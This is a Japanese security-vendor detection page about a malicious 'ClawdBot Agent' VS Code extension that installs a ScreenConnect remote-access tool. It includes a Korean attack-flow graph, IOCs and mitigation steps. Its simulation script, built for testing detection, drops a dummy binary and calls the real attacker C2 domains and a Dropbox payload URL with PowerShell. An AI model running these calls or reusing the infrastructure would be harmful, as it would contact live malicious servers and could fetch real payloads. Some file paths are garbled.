偽ClowdBot VS Code拡張がScreenConnect RATを配布
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
悪意のあるVisual Studio Code拡張機能である ClawdBot Agent はAIコーディングアシスタントを装っていますが、VS Codeが起動されるとWindowsに武器化されたScreenConnectリモートアクセスツールを密かにインストールします。スタートアップ時に、この拡張機能は攻撃者が制御するドメインから構成ファイルを取得し、偽のVS Codeバイナリ(Code.exe)をサポートDLLとともにダウンロードして実行します。セカンダリの配信パスとして、同じインストーラーをDropboxリンクから取得してペイロードの可用性を維持することができます。このキャンペーンは、信頼できるITサポートツールを悪用して正当なリモート管理活動に見せかけ、疑念を減らします。
調査
研究者は拡張機能のpackage.jsonを取得し、VS Codeの起動時にアクティベーションされることを確認し、悪意のあるコンポーネントを一覧化したリモートJSON構成を取得しました。バイナリアナリシスで、カスタムリレーサーバーに信号を送る署名付きScreenConnectモジュールが示されました。追加のフォールバックロジックがJavaScriptとPowerShellで見つかり、セカンダリのドメインやDropboxにホストされたペイロードを参照していました。ディスク上のアーティファクトは%TEMP%Lightshotフォルダーの下に観察されました。
緩和策
VS CodeからClawdBot Agent拡張機能を削除し、ScreenConnectインストール場所と%TEMP%Lightshotディレクトリに残っているファイルを削除します。ScreenConnectクライアントサービスをアンインストールし、特定されたリレードメインとIPへの外部接続をブロックします。拡張機能に入力された可能性のあるAPIキーや秘密を回転させます。
レスポンス
VS Code拡張機能のインストールとLightshotディレクトリの作成を監視することで悪意のある拡張機能を検出します。非標準パスからのCode.exeまたはScreenConnectバイナリの実行およびmeeting.bulletmailer.net:8041または関連するIPアドレスへの外部接続をアラートします。持続性の除去を確認し、追加のペイロードを特定するためにホスト法医学を実施します。
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[“<b>기술</b> – <b>T1176 소프트웨어 확장</b><br/>공격자는 확장을 악용해 코드 실행, 지속성 유지, 데이터 탈취를 수행한다.”] class tech_software_ext action tech_ide_ext[“<b>기술</b> – <b>T1176.002 IDE 확장</b><br/>IDE 확장을 이용한 악성 코드 실행.”] class tech_ide_ext action tech_user_exec[“<b>기술</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>사용자가 악성 파일을 실행함.”] class tech_user_exec action tech_app_layer[“<b>기술</b> – <b>T1071.001 애플리케이션 계층 프로토콜: 웹</b><br/>HTTP/HTTPS 기반 C2 통신.”] class tech_app_layer action tech_fallback[“<b>기술</b> – <b>T1008 폴백 채널</b><br/>대체 통신 경로 사용.”] class tech_fallback action tech_powershell[“<b>기술</b> – <b>T1059.001 PowerShell</b><br/>명령 실행 및 파일 다운로드.”] class tech_powershell action tech_rat[“<b>기술</b> – <b>T1219 원격 접근 도구</b><br/>침해된 시스템 원격 제어.”] class tech_rat action tech_dll_inject[“<b>기술</b> – <b>T1055.001 DLL 인젝션</b><br/>실행 중인 프로세스에 DLL 주입.”] class tech_dll_inject action tech_appcert[“<b>기술</b> – <b>T1546.009 AppCert DLL</b><br/>AppCert 등록을 통한 DLL 로드.”] class tech_appcert action tech_appinit[“<b>기술</b> – <b>T1546.010 AppInit DLL</b><br/>시스템 시작 시 DLL 로드.”] class tech_appinit action %% Artifact nodes ext_clawdbot[“<b>도구</b> – ClawdBot Agent VS Code 확장”] class ext_clawdbot tool activation_event[“<b>파일</b> – activationEvents \”onStartupFinished\””] class activation_event file init_core[“<b>동작</b> – VS Code 시작 시 initCore()”] class init_core action c2_domain[“<b>서버</b> – clawdbot.getintwopc.site”] class c2_domain server fallback_urls[“<b>서버</b> – 하드코딩된 폴백 URL”] class fallback_urls server ps_script[“<b>스크립트</b> – PowerShell 스크립트”] class ps_script file lightshot[“<b>파일</b> – Lightshot.exe / Lightshot.dll”] class lightshot file darkgpt[“<b>서버</b> – darkgptprivate.com”] class darkgpt server code_exe[“<b>멀웨어</b> – Code.exe”] class code_exe file relay_server[“<b>서버</b> – meeting.bulletmailer.net:8041”] class relay_server server dwrite_dll[“<b>파일</b> – 악성 DWrite.dll”] class dwrite_dll file screenconnect_proc[“<b>프로세스</b> – ScreenConnect”] class screenconnect_proc process %% Connections ext_clawdbot –>|사용| tech_software_ext ext_clawdbot –>|사용| tech_ide_ext ext_clawdbot –>|정의| activation_event activation_event –>|트리거| init_core init_core –>|구성 수신| c2_domain c2_domain –>|제공| tech_app_layer init_core –>|폴백 사용| fallback_urls fallback_urls –>|전달| ps_script ps_script –>|실행| tech_powershell tech_powershell –>|다운로드| lightshot lightshot –>|실행| tech_user_exec lightshot –>|전달| code_exe code_exe –>|사용| tech_rat code_exe –>|연결| relay_server relay_server –>|활성화| tech_app_layer code_exe –>|로드| dwrite_dll dwrite_dll –>|등록| tech_appcert dwrite_dll –>|등록| tech_appinit dwrite_dll –>|주입| tech_dll_inject tech_dll_inject –>|대상| screenconnect_proc screenconnect_proc –>|실행| dwrite_dll tech_fallback –>|적용| fallback_urls
攻撃フロー
検出
代替のリモートアクセス/管理ソフトウェア(プロセス作成経由)
表示
PowerShellを介したダウンロードまたはアップロード (コマンドライン経由)
表示
代替のリモートアクセス/管理ソフトウェア(監査経由)
表示
代替のリモートアクセス/管理ソフトウェア(システム経由)
表示
検出するためのIOC(DestinationIP):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(SourceIP):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(HashSha256):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(Emails):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
ClawdBot VS Code拡張機能がScreenConnect RATをインストールする [Windows プロセス作成]
表示
Clawdbot VS Code拡張機能がScreenConnect RATをインストールする検出 [Windows ネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリとベースラインのプリフライトチェックが通過していること。
攻撃のストーリーとコマンド
- 攻撃者がトロイ化したVS Code拡張機能を公開 「Clawdbot Helper」と題されている。
- 被害者はVS Code Marketplace経由で拡張機能をインストールし、 それにより
postinstallスクリプトを実行し、ScreenConnectクライアント (ScreenConnect.Client.exe) を%APPDATA%ScreenConnect. - に静かにドロップします。インストール直後、クライアントは、追加のペイロードを取得し、ホストのステータスを報告するために、攻撃者が制御するC2ドメインへの3つの外部TCP接続を開始します。
- 外部接続は が検出ルールを満たす
dest_ipリストを一致させるSysmon Event ID 3レコードを生成します。
リグレッションテストスクリプト
# --------------------------------------------------------------
# シミュレーションされた悪意のあるVS Code拡張機能のポストインストールルーチン
# --------------------------------------------------------------
# ステップ1 – ダミーのScreenConnectバイナリをドロップする(シミュレート)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# 無害なプレースホルダーバイナリを作成(例: notepad.exeのコピー)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# ステップ2 – 各C2ホストへの外部接続を実行
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# サイレントなWebリクエスト; -UseBasicParsingはUIプロンプトを回避
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contacted $url"
} catch {
Write-Host "Failed to contact $url (expected in a sandbox)."
}
}
# スクリプト終了 – この時点でSysmonは3つのNetworkConnectイベントをログに記録し、そのDestinationIp値がルールに一致するはずです。
クリーンアップコマンド
# --------------------------------------------------------------
# シミュレーションされたアーティファクトを削除する
# --------------------------------------------------------------
# 残りのPowerShellジョブを停止する(このシンプルなスクリプトではなし)
Get-Job | Remove-Job -Force
# ダミーのScreenConnectクライアントフォルダを削除
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Sysmonバッファをクリアする(管理者権限が必要)
# sysmon -c